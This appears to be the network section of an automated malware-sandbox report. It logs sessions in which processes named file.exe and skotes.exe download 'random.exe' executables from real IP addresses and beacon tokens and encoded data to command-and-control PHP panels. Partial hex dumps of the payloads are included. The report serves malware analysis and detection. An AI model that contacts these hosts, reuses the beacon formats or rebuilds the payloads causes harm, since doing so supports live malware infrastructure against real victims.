Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:55:50.933418036 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 02:55:52.391760111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 01:55:52 GMT Content-Type: application/octet-stream Content-Length: 1920512 Last-Modified: Sat, 23 Nov 2024 01:53:09 GMT Connection: keep-alive ETag: "67413585-1d4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0Lyu@WkHPKK @.rsrcH@.idata @ +@mtubkuce010@fjbqbvbvK(@.taggant0L",@
Nov 23, 2024 02:55:52.391813040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:55:52.391824961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:55:52.391866922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:55:52.391877890 CET	896	IN	Data Raw: 72 c4 e1 be 22 72 12 89 c3 a5 f5 ba 66 a9 73 25 14 51 5a 7a 9c ff 20 2d 35 1f 7d df 31 83 71 0a d6 c7 04 34 d3 87 ed fe 2e 8e d5 fc b2 a0 e4 22 83 8f 31 3f 7f ad a0 a9 d4 90 61 8e 2c f2 71 29 b3 03 c6 ed 4a 4e 96 2a 25 d2 6f fc f2 90 a9 f0 23 2e Data Ascii: r"rfs%QZz -5}1q4."1?a,q)JN*%o#.btd?c@[}qJr{qrorcn6c'D:/r~1aMFnV-\|YG ?Ero1Db/2Waj8v3Q rRq.RXd
Nov 23, 2024 02:55:52.391887903 CET	1236	IN	Data Raw: d6 d9 bb 9a 05 9f 6d ee 26 ae 72 0a ee 91 04 d1 83 1f d6 01 23 33 7e 02 12 c3 01 dd 95 9d 93 4a 14 cb 7c cb f1 e1 62 ca ee a0 c4 9f 9f cf b1 da 23 4e 62 2a 8b d2 ca 62 0b 73 96 e8 b1 03 94 8a 2c b2 f1 9e b7 b1 82 df 91 83 71 ea ef c7 64 14 64 df Data Ascii: m&r#3~J\|b#Nb*bs,qdd"qC&sR]WsN.RmmNrJ=s@vqR%^6!rq"=.GCbC})5,K3rlr2K~J2K2?/pr
Nov 23, 2024 02:55:52.392000914 CET	1236	IN	Data Raw: bc b9 9d 8b 86 47 61 fd 03 87 b7 43 17 87 17 ff cf 81 11 a6 1b 15 63 f2 db fa cf a0 eb 60 fa 6f 0a 6e 0f dd 27 62 95 66 69 93 2b c1 26 a5 01 0c 2b a7 69 94 5d 3f 01 e5 a3 02 cf 7e 13 1a 1a 7b 89 d0 67 14 84 47 c7 92 2e 45 db b6 e3 d0 57 0c 3e 47 Data Ascii: GaCc`on'bfi+&+i]?~{gG.EW>G:-W_hTYVh-xT(LWd,/)vjE@p;^7C@<wqJU_`)0H>DQ49Kjf=bAI--V5\GHc3$YK+
Nov 23, 2024 02:55:52.392013073 CET	1236	IN	Data Raw: b7 fc 22 94 28 02 4a 2e 0f d7 a7 23 27 66 ad bb 77 5f 3a e7 98 a1 6d 83 3d b7 bf fd 3e ff c5 0b 30 b2 23 3e 44 b8 89 85 0d 3a 22 85 c4 20 09 ac ee 9f 2a 8d 27 e4 9c 3b 06 53 9c be 2a 02 ca 54 00 08 64 0d 43 87 e7 43 0c 1d f7 54 13 23 95 72 8b 83 Data Ascii: "(J.#'fw_:m=>0#>D:" ';STdCCT#r[gb,=! )P_LE5u]*0.z45Ss=bT/E<S_.sg,DWbJG^Ga1V4/
Nov 23, 2024 02:55:52.392024994 CET	1236	IN	Data Raw: 12 c6 31 29 0b 0b ab 0b 7b 7d 4a 09 dd 65 e6 6d 71 4a 4b da fa 8e dc e1 b6 5b 51 08 cd e8 ce 39 55 0d 12 08 6b 21 68 f6 92 2c 94 62 4f eb d5 db 9d d3 55 6f 57 21 59 a2 8e a1 ef 66 27 04 2d 0c 25 f3 99 fd 53 0e 55 22 ce 21 61 64 54 a7 60 3e 2d 42 Data Ascii: 1){}JemqJK[Q9Uk!h,bOUoW!Yf'-%SU"!adT`>-Bn+E)r!9EyRi@O%\+DAok:+4S5MiTcu=BQ=:zzFZGCkmfA~Sk/j8u
Nov 23, 2024 02:55:52.392040014 CET	1236	IN	Data Raw: 48 d7 cb 22 23 a3 93 3c e5 cc 83 3f 52 7e 0e 40 43 ea 93 42 2f c4 d2 74 0b 6a c9 cd 86 6d 5e b7 0c 78 57 b4 13 0a 1c 72 bd 29 46 fc 6d 50 90 45 69 0f 2d fb 0b 6a 80 bc 8f 5e cf b0 6d 73 ea 65 61 9e 68 18 a9 ef 15 59 3e e7 ff 63 bf 34 e3 c3 be 9f Data Ascii: H"#<?R~@CB/tjm^xWr)FmPEi-j^mseahY>c4ZJ4b_~VnQ)FFY3M0aOZO@<{^}3pQFx/nB{f>AaC95a"
Nov 23, 2024 02:55:52.511425018 CET	1236	IN	Data Raw: a2 dc 2f f0 d7 3a 6a 44 17 fd a5 6a 8e 03 01 8b e4 6f 44 74 34 9c 63 c7 14 41 8b 36 72 09 69 0c f6 c8 53 db 39 ba e5 ad 37 84 7c 66 65 73 67 ed 04 e3 94 f5 e0 fb 0a 55 f6 a7 41 b0 24 72 21 aa 50 54 3d 00 f4 93 3f 0f eb 80 5b 47 49 7e 40 24 af 23 Data Ascii: /:jDjoDt4cA6riS97\|fesgUA$r!PT=?[GI~@$#8\BFoAo16a[KVx+[ItN:m\ug\|{#@Hg5?t/?]RfzA>Y<EqgC`^pM 4qn{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49958	185.215.113.206	80	3704	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:55:56.122843027 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHDBAFIIECBFHIEBKJJK--
Nov 23, 2024 02:55:58.806519032 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50134	185.215.113.43	80	7472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:57:05.781457901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 02:57:07.213774920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 01:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50140	185.215.113.43	80	7472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:57:08.845048904 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 02:57:10.247658014 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 01:57:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 33 31 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 33 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 33 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 33 32 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008317001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008322001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008323001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008324001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008325001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50146	31.41.244.11	80	7472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:57:10.372370958 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 02:57:11.802284002 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 01:57:11 GMT Content-Type: application/octet-stream Content-Length: 4392960 Last-Modified: Sat, 23 Nov 2024 00:46:58 GMT Connection: keep-alive ETag: "67412602-430800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c4 00 00 04 00 00 19 ac 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 44 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 44 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2`J@C@ _qsDpD px'@.rsrc p'@.idata q'@ 7q'@pablyzls`V'@ldihguetPB@.taggant0`"B@
Nov 23, 2024 02:57:11.802341938 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:57:11.802351952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:57:11.802373886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:57:11.802386045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 02:57:11.802489996 CET	672	IN	Data Raw: 17 40 e3 27 c6 7d 6d 51 6e b3 02 7c c5 8b c7 74 eb 19 1b 45 2e 2f a1 f3 0f 78 82 68 f3 33 d9 33 25 8b 0a ec 8b ec e8 ff 99 e4 79 90 8e 52 f2 7a 14 c2 99 2c 73 f7 5c 3a 3d bb 71 d5 f2 ef 59 22 d6 d6 ab 3c 83 86 19 8b 95 5a eb 31 4f 15 e2 b2 00 b8 Data Ascii: @'}mQn\|tE./xh33%yRz,s\:=qY"<Z1Oaz,rjug~WEt&Ua:psgMb}B(kOlesy/I{h3!p\|UT=<]1nBxnDw
Nov 23, 2024 02:57:11.802503109 CET	1236	IN	Data Raw: ae 05 74 3b 25 f4 b1 b7 fa 2d 9d 3d 3e f5 98 d0 a1 76 4c 3a 3a c9 4a 95 2a f2 5f 0c 2a c5 bc bb 6c 72 6f 53 65 c7 de a6 6d c2 08 fa 06 bb 6e 17 90 4b 6a f0 44 26 22 ea be 93 5c d8 ea 42 fe 1d 03 6c cf 05 08 b5 44 02 89 cb 8c c1 ce 15 ea e4 82 d6 Data Ascii: t;%-=>vL::J_lroSemnKjD&"\BlDr?fBFs6\|m2BzVij!2uZ{;V!%rA>Fsi/'ZRv%mTfIdCI,R;i9*q1r[#}}Gs8]
Nov 23, 2024 02:57:11.802515030 CET	224	IN	Data Raw: 8c 42 58 33 58 67 ec 32 9e d6 d5 a4 6a 51 a5 90 af e6 a1 39 25 02 1e 46 ac 39 61 07 a6 db a8 90 6a fd 72 f3 a3 2b 1f 81 77 be b1 b7 7e d2 ab 3f b9 d4 68 81 d7 43 81 4b 83 d2 60 14 61 e3 88 ab 95 ae 27 93 64 1b 65 74 6a 82 89 4f c1 fd 1b 56 b8 d0 Data Ascii: BX3Xg2jQ9%F9ajr+w~?hCK`a'detjOViv%k\|vTBby%]X#Kt)vv)<ZeT=xjYtd4eA=IP;#[O):I$*g!M9A}t?
Nov 23, 2024 02:57:11.802670002 CET	1236	IN	Data Raw: 8f 1c be 3f 8d ac 7b 77 ed 57 b9 7b 79 27 4f 65 7a ca c2 f6 f6 8a 5a 0b 4a 3c 10 14 b7 6d 42 a5 44 2e 92 aa bf ad 4e 20 e8 22 b4 f3 70 27 b9 de 7d a1 0e d0 68 23 c3 c1 a3 24 46 b6 0e cf 4c 7c 43 ba ad b3 8a bb 11 12 6a 4d ee f5 34 69 77 10 0c 5c Data Ascii: ?{wW{y'OezZJ<mBD.N "p'}h#$FL\|CjM4iw\u$\}(ug3:+ }_dgg"K?/lR@PdgM<tzlj+t+vc9\|0w]=M$E,*H+19mL##\|[@'A
Nov 23, 2024 02:57:11.802756071 CET	1236	IN	Data Raw: 82 af e1 d5 2c e3 46 87 8b ee 4e 87 00 b2 b0 14 8e 16 92 75 ca 26 d8 87 a3 d7 da f2 87 7b 6e 5b 9b d0 e3 0d ea 12 c6 f6 d5 b8 11 fb 02 28 7c 7d c2 2e 58 65 6b e6 02 39 46 5f f4 27 62 08 cd fe cb a3 ae 78 28 43 d9 dd 66 28 99 72 0c 81 b2 48 09 e0 Data Ascii: ,FNu&{n[(\|}.Xek9F_'bx(Cf(rH80`g!@v(b3o!rRaQQ$42CBnmivGD6ti\RUD%vsEe3j\`">M"fg22ze_K@e("RkoKdA}2eH
Nov 23, 2024 02:57:11.922055960 CET	1236	IN	Data Raw: 47 b2 7c d8 fb 2c 49 c0 8a a1 cd 9f 7e 8a 22 33 89 3a 4c ff a5 4d 2b 02 70 5b c0 01 b8 77 66 50 c0 e8 5a 00 4a 97 d1 ca 31 2b 2c 27 9e 76 5b 4d 42 26 4d 72 fb 17 08 1a ae f8 26 c0 3a 44 27 e1 93 14 32 f3 4e ab 19 65 9d 8b df 3a e9 b9 88 1a 88 f7 Data Ascii: G\|,I~"3:LM+p[wfPZJ1+,'v[MB&Mr&:D'2Ne:@\l!TgA52S'J;qL+/-Gu@+!d14#xuzM.\2h[f=l!)zBnn?ujJrb(emJ2'h}Ir\

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49707	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 43 72 77 62 67 75 33 4f 45 69 56 6f 45 6e 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 37 65 38 35 64 30 34 62 62 30 35 33 63 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: FCrwbgu3OEiVoEn3.1Context: 137e85d04bb053c7
2024-11-23 01:55:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 01:55:01 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 46 43 72 77 62 67 75 33 4f 45 69 56 6f 45 6e 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 37 65 38 35 64 30 34 62 62 30 35 33 63 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 37 76 61 74 57 6f 77 4a 61 51 30 45 61 52 53 5a 50 50 6e 62 55 74 6d 41 67 4d 4c 50 2b 4e 61 72 56 31 6e 32 4d 39 36 44 71 7a 34 4d 33 67 53 44 30 59 2b 39 38 79 54 41 6a 55 6c 71 59 76 73 45 6c 44 7a 66 43 50 76 35 69 37 73 58 34 32 43 63 36 4c 74 37 41 6f 70 6b 5a 47 6f 30 6b 73 42 64 63 6c 61 62 6f 56 48 4e 62 53 51 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: FCrwbgu3OEiVoEn3.2Context: 137e85d04bb053c7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS7vatWowJaQ0EaRSZPPnbUtmAgMLP+NarV1n2M96Dqz4M3gSD0Y+98yTAjUlqYvsElDzfCPv5i7sX42Cc6Lt7AopkZGo0ksBdclaboVHNbSQW
2024-11-23 01:55:01 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 46 43 72 77 62 67 75 33 4f 45 69 56 6f 45 6e 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 37 65 38 35 64 30 34 62 62 30 35 33 63 37 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: FCrwbgu3OEiVoEn3.3Context: 137e85d04bb053c7
2024-11-23 01:55:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 01:55:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 55 50 37 41 64 52 49 6b 45 57 49 72 58 63 56 46 33 53 65 78 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: kUP7AdRIkEWIrXcVF3Sexw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49708	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-23 01:55:03 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml 